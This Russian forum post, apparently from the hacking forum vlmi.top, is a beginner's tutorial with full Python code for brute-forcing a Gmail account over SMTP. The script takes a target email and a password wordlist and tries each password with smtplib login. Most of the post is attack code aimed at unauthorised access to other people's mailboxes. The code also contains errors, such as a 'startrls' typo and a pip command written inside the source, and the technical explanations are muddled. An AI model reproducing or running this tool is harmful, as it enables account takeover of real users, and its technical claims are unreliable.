Привет всем.Сегодня я вам расскажу как написать свою брутфорс на Python и с каким проблемами столкнулся я как новичок. Начнем!
Предыстория:
Как-то раз я чекал ютуб и мне на глаза попался канал программиста который писал на Python всякие плюшки по типу стиллеров, брутфорсов архивов,локеров и т.д. И я подумал:"А почему я не могу написать что-то похожее?".И мой выбор остановился на брутфорсе почт gmail.Как и все новички или опытные программисты я должен был реализовать идею в голове то есть ,что должен делать скрипт и как он должен это делать.Не много подумав и изучим материала в интернете я приступил к практике!
Практика:
Почта работает через порт 25 и протокол SMTP,значит для того чтоб написать брут нам понадобиться импортировать SMTP библиотеку и импортировать параметр system из os позже скажу зачем.
Код:
import smtplib
from os import system
import colorama
pip install colorama
Я решил,что брать пароли лучше из словаря для этого мы и импортировали модуль system. Теперь надо предоставить пользователю выбор:
Код:
print ('1. Start')
print ('2. Exit')
option = input('==> ')
Код:
if option == '1':
passlist = input('Enter password_list: ')
pass_found = open(passlist, 'r')
Код:
user_name = input('Target email: ')
server = smtplib.SMTP('smtp.googlemail.com',587)
server.ehlo()
server.starttls()
server = smtplib.SMTP('smtp.googlemail.com',587)
В интернете я прочитал,что правильным нужно сделать так:
server = smtplib.SMTP_SSL('smtp.googlemail.com',587)
Но при запуске скрипта мне вылетала ошибка :
ssl.SSLError: [SSL: UNKNOWN_PROTOCOL] unknown protocol (_ssl.c:833)
Но когда я запускал с таким параметром на Linux Mint с Python 3.6 ,то все было хорошо.Наверно это опять еба*ый windows и для того что исправить эту проблему я как бы "Вшил" не защищенное соединение в TLS командой:
Код:
server.startrls()
Код:
for password in pass_found:
try:
server.login(user_name, password)
print(Fore.GREEN + '[+] Password Found: ' + password)
break;
except smtplib.SMTPAuthenticationError:
print(Fore.RED + '[-] Password not founded')
input()
Код:
import smtplib
import colorama
from colorama import init, Fore, Back
from os import system
print(' ====================== ')
print(' Для vlmi.top! ')
print(' ====================== ')
init()
print ('1. Start')
print ('2. Exit')
option = input('> ')
if option == '1':
passlist = input('Enter password_list: ')
if option == '2':
exit()
pass_found = open(passlist, 'r')
user_name = input('Target email: ')
server = smtplib.SMTP('smtp.googlemail.com',587)
server.ehlo()
server.starttls()
for password in pass_found:
try:
server.login(user_name, password)
print(Fore.GREEN + '[+] Password Found: ' + password)
break;
except smtplib.SMTPAuthenticationError:
print(Fore.RED + '[-] Password not founded')
input()